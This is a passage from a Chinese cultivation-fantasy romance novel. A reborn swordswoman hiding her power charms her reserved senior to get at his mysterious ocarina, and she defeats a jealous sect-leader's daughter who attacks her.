南玉昭愤怒地收回剑,往后一跃退到山坡上。
看着涂茶抱着师兄一副亲昵样子,南玉昭恨不得立马杀了她,可她又毫无办法,只能咬着牙瞪着涂茶恨恨道:“你等着瞧!”
说罢,她不甘地御剑而去,消失在黑幕。
少年的红发带缓缓落在身后,不知何时树林里暗得已经看不清路了,他迅速收回手臂,瞬移到少女几步外。
“师兄?”涂茶愣愣地看向他,一副懵懂天真的模样。
枝幸雨微微抬眸,冷淡的眼神拒人于千里之外:“你的目的达到了,可以走了。”
涂茶不由握紧手里的木棍,微微一笑,好似不明白对方的意思:“师兄你在说什么?涂茶不明白你的意思。”
“南玉昭虽性格骄纵但不蠢,如果不是你激怒她,她不会对你出手。”
听见少年一语道破真相,涂茶却并不慌张,她还是抿嘴笑着,背着手,夜晚的视线很差,可少年还是看见了她鬓边被风微微吹起的发丝。
“师兄,我只是一个手无缚鸡之力的弱女子,一点修为灵力都没有,如果她刚才真的要杀我,你又来不及,那现在在你面前的我应该已经是一具尸体了。”
涂茶说着话缓缓走到他面前,她睁着明亮的杏眼,歪头盯着他笑:“师兄,谢谢你又保护了一次我,你真好。”
前世,今生,作为天下第一,她保护过太多人,这是第一个会保护她的人。
涂茶这次是真心实意想感谢他,笑容也多了几分真挚和温柔。
一般来说,人在夜里是看不大清楚的,但枝幸雨的视力极好,他将涂茶的一举一动看得清清楚楚,甚至连她煽动的睫羽,嘴角扬起的弧度,微耸的鼻尖都注意到了。
树梢在动,少年觉得她靠得太近了,皱着眉偏头躲开了。
“你身上很香。”
枝幸雨没头没脑的说了一句,涂茶不解的嗯了一声,低头闻了闻自己。
很香?
没有吧,她上山连衣服都没换,还是破烂的流浪装,别说香,不臭都算不错了。
“师兄,你是在讽刺我吗?”涂茶眯眼追着他凑上前。
枝幸雨像是被她的举动吓到,眉头微微一动,眼眸一颤,后退了好几步,他不知道要怎么解释,现在回过神才意识到自己刚才说了什么,扭身就走。
“哎!师兄,别走啊!天这么黑,我一个人害怕,你等等我嘛!”涂茶抬脚就追了上去,握着木棍,跟在枝幸雨身边,叽叽喳喳的,“师兄,你说我很香是什么意思?是我的梳发水还是我的胭脂香?”
枝幸雨走得很快,红发带被走动的风吹起,他根本不知道这些是什么,可他又不知道怎么解释为什么觉得她很香,只是当时这么觉得就脱口而出了,现在只想快点堵住她的嘴,于是胡乱答道:“胭脂。”
闻言,涂茶露出得逞的表情,侧脸看他微红的耳廓:“可是师兄,我没有涂胭脂。”
少年猛地止住了脚,意识到她在戏弄自己:“你!”
“涂茶,六安茶那个茶。”涂茶马上接嘴。
闻言枝幸雨抿着嘴,盯着她眼眸转动,俊美冷峻的脸上竟然出现恼怒的神情,好半天才道:
“不要跟着我!”
说罢少年消失在原地,只剩下翘着嘴角偷乐的少女。
虽然涂茶喊他师兄,但是前世自己死的时候才22岁,岁数上比他大,所以在她眼里,枝幸雨更像是她的师弟,让人忍不住想捉弄一番。
一阶一阶的山路,连绵不绝的树林,走到尽头出现了一间围着栅栏的小木屋,木屋前还有一座石桌,石桌上摆着一件未完成的木剑。
忽然,木剑一晃,院子里凭空出现了一个少年。
他抬手下意识捂着胸口的黑色陶埙,鼻尖似乎还能闻见少女的气息,耳边还在回响她的声音。
“师兄。”
枝幸雨紧紧握着陶埙,一向冷静无波澜的心第一次出现一种奇怪的感觉,仿佛她的存在是对他的指引。
“胡说八道。”他被自己这个念头吓到,甩开头就大步回到屋子里。
夜色渐深,屋子里点起烛灯,今夜的风很大,黑暗中山林的路很难走,她说她没有修为,天黑一个人害怕......
枝幸雨悄然收紧拳头,莫名有些烦躁,烛火只照在他一侧脸上,另一侧在黑暗中尤为阴郁森气。
忽然,树林里传来尖锐的惊呼声,他几乎是一瞬间就消失在了原地。
屋内烛火微微一晃,归于了平静。
山坡上,黑不见人,只有一个少女蹲在台阶上,捂着脚腕神色痛苦的样子。
落在地上的树叶发出声音,在寂静的夜晚格外清晰,涂茶眼珠子一转,马上擦着脸上并不存在的眼泪,低低啜泣:“爹娘,你们在哪里?为什么把我一个人丢在世上?每天吃不饱穿不暖,到处受人欺负,好不容易上山学本事遇到通灵木出问题,弟子峰不收我,师兄也把我丢在荒郊野岭,现在脚还扭伤了,我只是太没用了......”
少女的哭声低低传来,像只走失的幼兽,听着让人心疼。
月色下,一个身影缓缓走来。
他手指轻动,只见黑夜中亮起点点荧光,渐渐围绕在少女的身旁,为她驱散黑暗。
涂茶余光瞧见抬起了头,望着四周微光聚起的萤火,她有些意外,回身看向身后伫立的少年。
银色的光穿梭在他们之间,枝幸雨的模样逐渐清晰,仿若林间的精怪,美得鬼气。
“师兄。”涂茶低低叫了一声。
枝幸雨走近,自上而下,低眸看向她的脚腕,似乎是扭伤了:“可以起来吗?”
涂茶一边仰着头看他,一边摇头,眼角还挂着揉眼睛挤出的泪:“很痛。”
闻言,他有些为难,好看的眉头皱起,像是在考虑怎么办。
不过也没一会,少年轻轻一叹,修长的身姿俯身低下,一手撑着地,一手搭在膝盖上,漂亮的眼眸望着她,淡淡开口:“我背你。”
四周的荧光聚
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集在两人身边,照亮了眼眸,如银色泉水一般的眼底此刻只剩下彼此。
涂茶指尖微微回缩,忽然没了做戏的心思,只乖乖道:“好。”
林中寂静,伴着一路荧光。
台阶上,白衣少年背着一身破烂的少女,她抬手搭在少年肩膀,嘴里一张一张似乎在说什么。
“师兄,谢谢你,如果不是你,我今天晚上就要喂狼吃了。”
“君山峰没有狼。”
“那,那我就要冻死在山路上了。”
“还未入冬。”
“那我就疼死在路上!”
“只是扭伤。”
涂茶恼了,握紧手里的木棍,忍不住晃了晃枝幸雨:“师兄,你能不能有点幽默?别这么实事求是行吗?我还没问你为什么去而复返,你怎么先揭我短?”
“我只是路过。”
少年的狡辩格外苍白,借着背身,他不自在地移开了视线。
涂茶低声一笑,侧头去瞧他的神色,枝幸雨似乎察觉到了下意识回头,两人就这样猛然撞上视线,距离近得连呼吸都在交缠。
“你......”枝幸雨回过神,赶忙躲开,脚步都慌了几步,“能不能听话一点。”
总是做一些奇怪的事情,说一些奇怪的话。
涂茶也愣了,一下子没反应过来,她缓缓眨眼回道:“哦。”
接下来好长时间,两个人都有些尴尬,直到小木屋出现在眼前。
“哇!小木屋原来是这样的,还不错嘛,也是能住人的。”涂茶欢喜地指着小木屋,倒真有些意外,她还以为是个很破败漏风的木屋。
“这是我的。”枝幸雨侧身,示意她看向不远处的木屋,“那才是你的。”
只见犄角旮旯,一间破破烂烂,不知道经历了多少风吹日晒的小木屋闯入眼前。
涂茶目瞪口呆,不敢相信地摇头:“不可能,不可能,我不可能住在这样的房子了,我会冷死的。”
“师兄你不能丢下我!”涂茶又开始了她的表演,“我只有师兄了,师兄不保护我的话,那个南玉昭师姐会来杀我的,而且我脚还受伤了,身上一点灵力也没有,我太柔弱了,真的会死的。”
说着她还呜呜了一声,想让自己的话听起来更有信服力:“自从我爹娘过世,我一个小女子,在世上孤苦伶仃受人欺凌,还从未遇到过像师兄这么好的人,师兄,你不能丢下我,我只有师兄你了。”
或许是涂茶的哭声太有欺骗性,又或者是她的喋喋不休吵得人不得不信,枝幸雨拿她没辙了。他脚步一动,涂茶以为他要背自己去那间烂房子,马上吱呀乱叫起来:“不要不要,我不要那里!师兄,别丢下我!不然我就…我就拿棍子打晕自己!”
“涂茶。”
少年忽然叫了一声她的名字,涂茶一怔,以为自己听错了,扭头看向少年的侧脸,他看起来好像真的很无奈,站在院子里一动不动,清俊还有些青涩的声音再次响在耳边:
“安静。”
“哦。”
涂茶还真安静了,因为她已经反应过来枝幸雨走的方向不是旁边,而是他自己的木屋。
耳边吵闹的声音终于停下,枝幸雨抬脚打开门,屋内的烛火还没灭,涂茶好奇地环视了一番,屋子很干净整洁,摆放着少年日常的必需品,还有一些手工的小玩意,桌子上还有一把未完成的木剑。
涂茶被枝幸雨轻巧地放在一旁椅子上。
“坐这里。”枝幸雨似乎是觉得她不会这么听话,忍不住多嘴了一句,“乖一点。”
“知道啦师兄~”
少女眯着眼笑,暖黄的烛光朦朦胧胧,少年狭长的桃花眼不自在地挪开,转身替她收拾出新的床铺,然后又抱着自己睡过的床铺铺在地上。
做好一切,他走了过来蹲下身:“我抱你。”
“嗯。”
得到同意后,他伸手将人轻俏地抱起再放到一旁的床上,弯下的腰正要起来时,少年身前的陶埙在涂茶面前一晃而过。
“师兄,你的陶埙我可以摸摸吗?”
5. 什么叫剑修
酝酿了一整晚,涂茶觉得自己已经伪装得很到位了,一个矫情又爱作的废柴小师妹想摸摸师兄戴在胸前的陶埙,很正常吧?
“不行。”
涂茶一愣。
没想到枝幸雨想也不想直接就拒绝了,还拒绝得很干脆,他甚至退了几步远离她,将陶埙塞到胸前衣服里,蹙眉冷眼:“早点睡。”然后利落地用法术将一块白布横隔在两人之间,把小木屋一分为二。
看着枝幸雨吹灭他的烛灯,屋子暗了下来,涂茶撑着下巴眯着眼琢磨:“一个不起眼的陶埙罢了,为什么这么宝贝?”
有问题。
这个陶埙一定有问题。
第二天,日上三竿涂茶才从床上起来,她看了看自己的脚,基本上没什么事情了,昨天晚上枝幸雨给她用法术治疗过,不过…
她看向屋里屋外,没有他的身影。
院里空无一人,涂茶打着哈欠从屋子里走出,背着手随意挥动着木棍,正琢磨接下来要怎么拿到陶埙,忽然她耳朵一动,目光警惕地看向一侧,只见树影微动,有个身影走了出来——
是枝幸雨。
“师兄!”
涂茶立刻换上一副天真烂漫的笑脸挥手跑了过去:“师兄你去哪了?我刚才都找不到你,一个人待在这里好害怕。”
枝幸雨看了眼她,径直走向小木屋,涂茶还跟在他身边絮絮叨叨:“师兄,我看屋子里有好多手工,都是师兄你做的吗?师兄这么厉害,我真的好崇拜师兄,不像我,我什么都不会,一个人长大吃了很多苦,如果我有师兄一半的手艺就好了,那我就能养活我自己,就不会沦落街头了。”
“涂茶。”
枝幸雨停下脚步,叫了一声。
涂茶马上笑着应道:“是,师兄。”
“我不是你的师兄,你也不需要叫我师兄,还有,”枝幸雨收起屋子里的白布,回过身冷冷一瞥,“我只收留一晚,现在起不要跟着我。”
少年的拒绝非常直接,他无视涂茶的软磨硬泡,也无视少女的天真可爱,目光只有请你出去四个字。
涂茶见此,嘴角的笑意微微一收,但马上又扬起更大的笑意,她睁着水灵灵的双眼,背着手笑得明媚灿烂:“师兄,可我认定你了,以后无论师兄去哪,去做什么,我都要跟着你,我不会离开师兄的。”
不会离开…
或许是她这话说得太真挚,枝幸雨的眼眸微微一动,好似晃动了心绪,但很快他又眉头一蹙还是打算拒绝:“你…”
不想刚刚还笑的少女见他不为所动,嘴巴一瘪,可怜巴巴,睁着那无辜的双眼好像要哭了:“还是说,师兄觉得我很没用,留在师兄身边只会给师兄添麻烦,我知道,师兄一定是这样想的,好,那我走,像我这样无依无靠的人注定在哪里都是多余的。”
涂茶说着,捂着眼睛就跑了。
“哎!”枝幸雨忍不住伸手喊她,可话到嘴边又开不了口,就看着涂茶跑走的背影,可怜又委屈。
院子树叶落了几个回旋,少女的身影逐渐消失在树林,可她的话还在耳边回响。
——像我这样无依无靠的人注定在哪里都是多余的。
枝幸雨握着胸前的陶埙,不断收紧,眼神里透着一股浓浓的化不开的气息,沉重阴湿。
这边,涂茶跑了几步,觉得对方看不见了就停下了脚步,抹抹眼角并不存在的眼泪,回过身望着空荡荡的身后,瘪瘪嘴:“还真不追过来啊,你不心软,我可就没办法了。”
虽然她还有一个更简单粗暴的方式,就是——强抢陶埙,但她不想弄出这么大的阵仗,这个枝幸雨瞧着能力挺强的,万一打起来暴露了自己,那她想要混日子的愿望就泡汤了。所以还是顺其自然,能让对方主动给自己最好,说不准一切都是她想多了,这陶埙就是个普通的陶埙,并没有藏着什么修为灵力,还是不要大张旗鼓了,慢慢来吧。
涂茶琢磨了一番,然后低头看了看手里的木棍,她得想办法给这根木棍变个样,不然一天到晚拿着它怪怪的。
“喂!”
突然有人叫了一声,涂茶回头。
是她。
南玉昭扬起下巴,抱着剑对她高傲道:“怎么?幸雨师兄看清了你的真面目,把你赶出来了?”
“师姐,此言差矣,我有什么真面目呢?”涂茶微微一笑,眯着眼像狡猾的狐狸。
南玉昭见她这副样子,立刻横眉怒目,抬剑一指:“你这个贱人!我南玉昭平生最讨厌装模作样的人,你利用我还设计我!昨日师兄护着你,今日他不在,我要好好收拾你一番!”
说罢,她几乎不给对方一点反应的时间就拔剑刺来,涂茶眉头微微一蹙,面对她的攻势轻轻悄悄就躲开了。
不过这一剑,涂茶感受到了对方不似在玩笑:“师姐,你的剑未免太锋利,我不过是想找师兄帮个忙,帮我解个谜,等我搞清楚一定会把他还给你,何必对我下如此重的杀心呢?”
南玉昭一剑扑空,只当是涂茶侥幸,回过身盯着她恶狠狠道:“我娘说了,喜欢什么就要去抢,抢来就是我的,其他人若是想染指,统统都要除干净!师兄是我的,谁敢动他一下我就要她死!”
少女的话狠毒又无知,涂茶原本笑着的脸逐渐冷了下来,南流景是个洒脱之人,怎么女儿养成这个样子?
正想着,南玉昭的剑马上又挥了过来,甚至带了极强的剑气朝她杀来。
“拿命来!”
涂茶眉头一挑,反应迅速地侧身躲开,但凌厉的剑气还是削到了她扬起的一缕发丝。
“你!”
这回涂茶是真有点生气了,她看向南玉昭,刚才那一剑若非自己身手好躲过去了,放在一般人身上早非死即伤,一个武功高强的宗主之女竟真会对一个手无缚鸡之力的人下如此杀手。
但南玉昭全然不觉得,她只觉自己两剑都未伤到对方心生恼怒,更有种被对方戏弄的感觉:“贱人!我就知道你不安好心,你身上没有灵力你是怎么躲过我的剑?说,你是不是魔教派来的奸细!你身上是不是藏着什么秘密?你接近幸雨师兄想做什么!”
对方一句接一句,大有种给涂茶安插一个罪状好一剑杀死的意图。
涂茶心道早知道昨日就不利用她了,真是自讨苦吃,给自己找了个麻烦,于是她和和气气道:“师姐,我错了行吗?算我惹错人了,我认输,我这就走。”
她是真不想多事,也不想和对方起什么冲突,更不想招来太多人毁了这来之不易的平凡生活,所以三十六计她还是先走为妙,等甩开对方再回小木屋去。
“站住!”
然而南玉昭可不是这么善罢甘休之人,她手中掐诀,嘴角冷笑:“你以为我是你想惹就能惹的吗?我说了我今天就是要好好折磨你一番,让你知道幸雨师兄是谁的!”
只见符咒一现,涂茶瞬间认出是什么,正想动用手中木棍躲开,不想身体猛地一沉,她如同被砸到地上一般全身重压跪地,毫无灵力的肉体凡胎顷刻间口吐鲜血,浑身疼痛如绞,头晕目眩。
“我不会杀你,因为这会脏了我的手,我娘说了,碍眼的人就要用尽手段让她知难而退,如果她不聪明不明白,那就让她自己消失,涂茶,你来错地方了,君山峰是我的,神欲行是我的,幸雨
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师兄也是我的,你一个废物一个流浪儿,就应该乖乖的回到你该回的地方!”
回到该回的地方…
涂茶听着忽然觉得好笑,在她还是个外门弟子时也曾听过这些,可那时候她什么都不会只能被其他弟子排挤欺负,没想到如今一切从头来过,她又成了那个受人欺凌的小小弟子。
“你不配站在这里,你不配站在幸雨师兄身边,你更加不配站在我面前,你不是很厉害吗?不是利用我吗?不是很会躲我的剑吗?现在你还动得了吗!”
南玉昭说罢,再次挥剑直直刺来,这次涂茶动弹不得竟硬生生接了她这一剑,鲜血从她胸膛渗出,滴落在地上。
还未等涂茶喘口气,剑又猛然拔出,血液飞溅。
“唔…”涂茶望着地上浮现的阵法,嘴角溢出鲜血,看起来伤得很重,“师姐,你这么对我不怕别人知道吗?”
南玉昭收回剑,扯出一个傲慢地笑:“你知道我是谁吗?我是宗主的女儿,整个神欲行没有人敢对我不客气,就算我今天杀了你,也不过是死了一个不知来历的凡人,说不定还是个魔教奸细,那我杀一个魔教奸细又怎么了?我是为了宗门,为了神欲行,我有什么错?”
“是吗?”涂茶说着忍不住咳出血,嘴角扯出一个轻蔑的笑,随后顶着重压抬起头冷然道,“原来南流景就是这样教你的?”
她保护了这么多年的宗门,到头来还是这个狗屁样子,还是到处狗仗人势,欺负那些非宗门大族非内门弟子,那些无权无势的普通弟子。
南流景,这就是你的宗门?
听到父亲的名字,南玉昭漂亮的脸蛋一瞬间狰狞而恼怒:“你居然还敢直呼我父亲的名字!你简直是不知死活!”
说罢她再次加压阵法,符咒颜色加深,涂茶流血的伤口迅速裂开,全身被压迫到无法忍受,咳出大量的血。
“我最讨厌…”涂茶低着头,咳着血,“我最讨厌的就是你们这些阵符修的,一天到晚给我弄些乱七八糟的玩意儿烦我,花样又多得不得了。”
“你在说什么…”
“南玉昭。”涂茶手中的木棍忽然开始发亮,似乎有什么在流入她的体内,她缓缓抬起头,原本吃力的身体好像变得自如起来,而那双清澈明亮的眼睛冷若冰霜,充满着令人恐惧的震慑。
南玉昭看着刚才还被压制无法动弹的人,此刻缓缓从阵法中站起身,她抹掉嘴角的血,露出一个狂妄又乖张的笑:“我是利用了你,所以你这一剑我没躲,你这破阵法我也领教了,现在我们两清。”
“你,你什么意思?”南玉昭有些慌了,她的直觉告诉她,眼前这个人她没那么简单。
“什么意思?”涂茶握紧木棍,如同握着一把趁手的剑,“意思是,我不想玩了,无论是什么阵法,什么招数,根本就困不住我,我只需要一剑——”
话音刚落,少女的身形一动,手中木棍猛然抬手一挥,一瞬间困住人的阵法顷刻震碎,爆发的灵力将南玉昭震飞摔在地上。
“一剑即可斩断一切。”
南玉昭被砸得吐出血,她撑着身子望向涂茶,她的身影伫立在风流之中,仿佛世间所有阵法与招数在她眼中都不过如此。
“你究竟…究竟是谁?”南玉昭大喊,摇晃着想站起身。
涂茶则轻轻转了一个剑花,漫不经心走到她面前,自上而下蔑视一眼:“我?我不过是个流浪儿一个废柴。”
“我不信!我要告诉我爹!”
“你爹?”
涂茶全然不在乎,开口满是傲气:
“今日,我就替你爹好好教教你,什么叫剑修。”
6. 可以
剑随风动,南玉昭不受控制地被手中剑带起身,而涂茶举着木棍侧身一指:“怕你输得太难看,我让你,就比剑术。”
话音落,南玉昭根本没有机会拒绝,剑已经带着她往前刺去,涂茶抬手一挡,反手打向她后背。
“你居然打我!”南玉昭后背一痛,顾不得是怎么回事,马上就要打回来,她握着剑挥剑向涂茶,身法很快,倒是有些功夫。
但涂茶的速度更快,身法更加轻盈自如,她几乎是站在原地一动不动,单手握着木棍挡下对方所有攻势,甚至还指点起对方:
“腰身太硬,速度太慢,不够熟练,脚法笨重,手势不对,花拳绣腿。”
她边说边用木棍敲打她不对的地方,一下又一下,像是戏弄孩童一般,打得南玉昭羞恼至极,被打过的地方火辣辣得疼,她长这么大第一次被人这样鞭打,简直是丢脸又气人。
“贱人!我杀了你!”南玉昭嘴上一向不服输,想着一定要杀她解气,可手里的剑却怎么也伤不到对方。
“杀我?先想办法近我的身吧。”
涂茶漫不经心地左右阻挡,看她动作太慢,破绽太多,甚至还引着她的剑朝自己而来,有时候南玉昭自己都反应不过来剑身就已经带着她挥出好几招。
与其说是在比试,不如说涂茶在逗她玩,完全没有一点回手的机会。
直到南玉昭浑身都被打得酸痛,涂茶才有些无聊地收手,她一个棍子打在南玉昭背上。
南玉昭踉踉跄跄几步,等站稳回过身,耳畔风动——棍子已直指她的喉咙。
若是利剑,此刻怕是早已是剑下魂了。
顺着木棍望去,涂茶扬起下巴,懒懒散散,好似刚才只是打了个哈欠伸个懒腰:“师姐,你的剑术太烂,我连一成功力都没用,往后还是别招惹我了,我这个人虽不计较太多,但别人若是欺负到我头上了,我一定百倍奉还。”
听罢南玉昭紧紧握着剑,连呼吸都不敢,她这会儿是真的怕了,因为她已完全清楚自己根本打不过对方,甚至可以说她的生死只在对方的弹指间。
“不过…”涂茶收回木棍,背着手慢悠悠走上前,目光在她身上来回打转,“你若是记得今日的事,只怕会给我招来麻烦,所以,你还是忘了吧。”
南玉昭闻言,目光慌乱:“你什么意思?”
难道她要杀了自己?
“没什么意思。”涂茶抿嘴一笑,又是一副天真单纯的少女模样,只瞧她指尖轻轻点过南玉昭的额头,似乎有什么闪过像是被她抽走了。
等南玉昭回过神,眼前又恢复成一开始的样子——
涂茶被困阵法之中,身上渗着血,南玉昭看向自己手中带血的剑,好像刚才她刺了她一剑来着…
“师姐,我真的什么都不知道,别杀我…”
涂茶的声音颤颤巍巍,眼眶湿润,时不时咳着血。
南玉昭皱着眉还没有反应过来,忽然一把雪色长剑从林中破晓而出,如银龙划破云霄,猛地挡在涂茶面前,震碎了困住她的阵法。
涂茶失去重压,整个人无力地往后一倒,只见一只手紧紧抱住了她,红色发带飘过,少年狰狞的山鬼面具出现在眼前。
涂茶虚弱地笑了笑;“师兄,我这回可不是被你吓到摔地上。”
说着话她抬手摸过他的面具,似乎想摘下来,却看到了面具下少年微怔的眼眸,他一动不动,盯着她流血的地方:
“你受伤了。”
“嗯,师兄,我受伤了,所以你是来救我的吗?”
其实涂茶完全可以自己救自己,这点伤对她来说不算什么,但她在感受到他赶来的气息时突然就不想这么做了,她想知道枝幸雨看到这一切会怎么做?
枝幸雨缓缓取下面具,露出那张俊美鬼气的脸,身前的陶埙垂在涂茶的身上,仿佛引力石在吸引两颗心碰撞。
“师兄!她来历不明,通灵木都因为她出现了问题,她接近你一定是有目的,幸雨师兄你让开,让我杀了她这个魔教奸细!”南玉昭已经回过神了,她抬手将剑指着枝幸雨怀里的涂茶。
枝幸雨充耳不闻,他将人缓缓从地上抱起,侧身冷眸瞥向南玉昭:“你伤她。”
南玉昭被枝幸雨眼中的狠戾吓到,支支吾吾辩解道:“她,她有问题,我不过是宁可错杀也不放过…”
“她只是个凡人,我不认为她有什么问题。”枝幸雨已经没有耐心和对方说话了,他厌恶这种伤害无辜之人的行为,在看到涂茶浑身是血被镇压在阵法中还哀求南玉昭放过自己时,他心里就涌出一股莫名的愤怒,非常强烈。
“可是她…”
“咳咳…”涂茶忽然咳了一声,扯到伤口时忍不住皱着眉,一脸痛楚。
枝幸雨低头看去,少女脸色惨白,水蒙蒙的眼睛眼巴巴地看着他,露出脆弱依赖的神情:“师兄…我好痛…”
看着她胸口渗出的血和伤口,少年眉头紧蹙,不自觉低声:“我带你走。”
说着,他转身离去,南玉昭见此情景急了,抬脚就要追上去:“幸雨师兄!”
不想雪色长剑直接剑锋一转,指着南玉昭阻挡她前进。
“师…”南玉昭一愣。
只见少年抱着怀里重伤的少女,微微回眸,眼中满是警告和厌恶:“再上前一步,我一定会对你动手。”
南玉昭心头一震,再不敢走上前一步。
她只能看着少年抱着人离去,而那把属于少年的剑也始终剑锋相对,逼着她一步步后退,将她驱赶出君山峰。
院子里树叶飘落,少年一个闪回就到了屋子里面。
他将人轻轻放在床榻上,抬手念诀,准备给她疗伤,但涂茶不想放过这个示弱得到信任的机会,她忽然抬起手扯住少年的衣摆,枝幸雨手中一顿,望向她虚弱的脸庞。
“怎么了?”
涂茶抿抿无血色的嘴唇,收紧手中握住的衣摆:“师兄,我是不是给你添麻烦了?我是个孤儿,没有身份背景,除了师兄,从来没有人这样保护过我,所以我才会忍不住想跟着师兄…师兄,我很烦人吗?我会给你惹来麻烦吗?师姐会生你的气吗?”
少女的声音因为受伤带着一股气音,明明已经痛到不行了,还是强忍着眼泪,担心自己会给人添麻烦。
枝幸雨盯着她的眼睛,那双透亮的双眼实在是太清澈明亮了,仿佛晨雾山林间的露珠,滑过枝叶,落在他手背,心痒痒。
“我会保护你。”他下意识就这么说了,等脑子回过神的时候,好像也来不及反悔,于是他借着疗伤,低眸藏住自己的眼神,“你是有点麻烦,但也不算很麻烦,在你离开君山峰之前,我会保护你,你可以安心留下。”
“真的吗?师兄,你相信我吗?”涂茶继续追问。
枝幸雨毫不犹豫:“我相信你。”
淡淡的光在身上流淌,伤口正在加速愈合,他的修为很厉害,这种剑伤也能很快恢复。
涂茶盯着他胸前的陶埙,视线移到他脸上,说实话,她一开始想留下只是为了这个陶埙,但她几次试探,几次被他保护,她不由开始好奇他这个人了。
在他还是个孩童的时候一点修为没有就敢冲出来保护她,再到如今几次为她和自己的师妹反目…天下都是她在守护,这真是第一次,被别人保护。
很奇妙的感觉。
“因为你骗我,我也不在乎。”
少年突然开口,涂茶愣了愣:“什么意思?”
“我一无所有,没有父母,没有朋友,没有重要的东西,你要骗能骗走什么?”
涂茶眨眨眼,原来他是觉得自己如果是个骗子,也是为了骗什么钱财和宝物才接近他,可要这样说,她还真是有个要骗走的东西,想着她嘴角偷笑,一副狡黠的模样,抬手指了指少年的胸膛:“有啊,我可以骗走这个。”
枝幸雨低头一看,那个位置是…
“我的心?”
话音落下,涂茶眼眸一晃,与他忽然望来的眼神对上,原本散漫的心思莫名有些紧张,指尖不自然地微微回缩,心口也一跳一跳
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。
少年的发丝被微风拂过,一缕落在身前,隐隐约约还能看见他身后的红发带,那个颜色很鲜艳,总是让她忍不住视线追随。
“不是。”涂茶压下那种奇怪的感觉,装作平常的样子,弯眉一笑,指尖轻轻划过少年胸前挂着的东西,“是陶埙。”
“我说的是师兄的陶埙,这个陶埙好特别,我总忍不住想摸摸,师兄你在说什么呢?”
涂茶的话情转急下,让少年一时间不知道如何回答,总有种太听她话会被她牵着鼻子走的感觉,于是他不再搭话了,专心为她疗伤。
“师兄,你怎么不说话了?”涂茶却锲而不舍,明明受着伤还不好好休息。
枝幸雨冷冷瞥了眼她,有那么点不满的意思:“受伤了,安静。”
“哦,我就是想和师兄多说说话嘛,谁让我只认识师兄。”
“罗雀骨你也认识。”
“他只是我山下偶然遇到的,不熟。”涂茶摸了摸鼻子,抱歉啦,罗师兄。
“他不会和你不熟,他对女生一向很好。”枝幸雨说着话,手从她胸前轻轻带过,为她愈合伤口。
涂茶感觉到一丝疼痛,下意识蹙眉,忍着没发出声音。
枝幸雨看在眼里,手下动作放轻:“罗师兄过几天就会带你走的,你不必担心自己无依无靠,他会照顾你。”
伤口毕竟被刺穿,愈合起来疼痛是难免的,但她习惯了受伤,也习惯了忍着疼痛,强装着无所谓笑着道:“是嘛?罗师兄这么好吗?可是我还是觉得师兄最好,师兄会保护我,师兄信任我,师兄还会为我疗伤,这些都是师兄为我做的,我只认师兄你一个人。”
少女俏皮的话总是张口就来,笑眯眯的样子好像什么事也没发生,但是她微微流汗的额头,收紧的拳头,略微惨白的脸,一切都在诉说她的逞强。
枝幸雨收回手,拧着眉望着她。
“怎么了?”涂茶不明白,还歪着头瞧他。
只见少年转身从木柜子里取出什么,然后走了过来,涂茶盯着他手里看,是一个木盒子,雕刻着什么不知名的花,少年打开木盒子,将里面晶莹剔透的丸子递到涂茶面前:“吃了。”
是止疼丸。
涂茶一眼就认出来了,还是那种很珍贵的止疼丸。
她微微一愣,顺着他的手看向他的脸,少年神色未变,只是抬一抬手示意时眉头微微一皱,露出眼底的关心:“吃了不疼。”
“我不疼啊。”涂茶几乎是习惯性就这么说了,其实她本该说很痛的,可她就是习惯了,习惯隐藏自己的伤口和疼痛。
“你很疼。”枝幸雨反驳,甚至是不高兴地那种,他将药丸子塞到涂茶嘴里,蹲下身子用一种不熟悉不习惯的语气说,“不用逞强,受伤了就是受伤,很痛就是很痛,想要安慰想哭都没关系,我不会告诉别人,没关系的。”
一时间,涂茶什么话都说不出来。
她呆呆地,甚至是傻傻地看着眼前蹲下身子,别扭着温柔的少年。
曾几何时,她断过手,被刺穿过胸膛,差点瞎了眼睛,她都自己默默疗伤,不曾哭过喊过抱怨委屈过一句,只因为她是天下第一,她应该无所不能,无坚不摧,可是多少年后的今天,有这样一个少年,居然对她说:受伤了就是受伤了,很痛就是很痛,想要安慰,想哭都是没关系的。
屋外小雨淅沥沥,竹林沙沙,突如其来的一场雨,将她困在了木屋,少年少女的相遇是十二年后的命中注定。
“师兄。”
嘴里的药丸清凉微苦,涂茶低低叫了一声。
枝幸雨回:“嗯?”
“我好疼。”少女的声音甜糯,带着点撒娇的意思。
他眼眸一晃,指尖一颤。
小木屋里,少女身上的血腥味萦绕在两人鼻尖,涂茶放下了一些顾虑,捂着胸口露出委屈不开心的表情:“师兄,我好痛,胸口疼得我想哭,外面还下雨了,我最讨厌下雨天了,下雨会让我想到很多不开心的事情,师兄可以抱抱我吗?”
7. 伞与陶埙
涂茶觉得自己可真是一个坏孩子,都这种时候了,心里还惦记着那个陶埙,没办法,谁让这个陶埙一直在吸引自己,让她没办法不去理会。
“师兄?”涂茶心想,她只需要摸一摸或者是近距离接触接触,或许她就能感受到陶埙有什么不同,她保证不会做其他什么奇怪的事情。
雨中树林格外静谧,小木屋的烛灯一晃一晃。
枝幸雨退后几步:“不可以。”
她就知道。
涂茶也就是随口试一试,果然不成功。
枝幸雨收回手:“已经疗好伤,这几天好好休息。”
说罢他转身就走,脚步很快,目光在触及到那个依靠在椅子旁边的木棍时,停了下来。
他侧身望来:“你为什么总是拿着这个木棍?”
涂茶看了眼那根木棍,其实它看起来并没有什么特别的,就是一根普普通通的木棍,但是自己实在是拿得太频繁了,几乎是无时无刻不握在手里。
她该怎么解释呢?
涂茶虚弱地捂着自己的伤口,用一种悲伤的目光看小木棍又看向窗外下着雨的屋檐:“小时候家里很穷,经常吃不饱穿不暖,碰到下雨连一把伞都没有,长大以后流离失所,别说一把伞,我连一件干净整洁的衣服都没有,那天上山的时候,我看见这个木棍长得好,就想着要是能用它做一把伞就好了,这样我也有自己的伞。”
少女的声音有一种淡淡的忧愁,在这个雨天,格外的寂寥。
涂茶的这番话几分真几分假,她以前确实生活在一个贫穷的家庭,吃不饱穿不暖,但她从来没有想过要什么一把伞,这句话是她瞎说的。
听完涂茶的话,枝幸雨并没有回答什么,只是目光从少女的脸上掠过,最后离开了木屋。
望着外面的天,雨水不断地蔓延,有一些久远的记忆重新回到了她的脑海。
小的时候家里真的很穷,她一直跟着父亲一起生活,某天碰到了一群魔教的人来村里抢东西,他们家太穷了,魔教的人根本就看不上,一把推开她之后她还摔了个狗吃屎。眼看着魔教之人将村里面抢了个干净,所有人都无能为力,就在这个时候神欲行的人来了,他们用手里的剑打败了魔教之人。
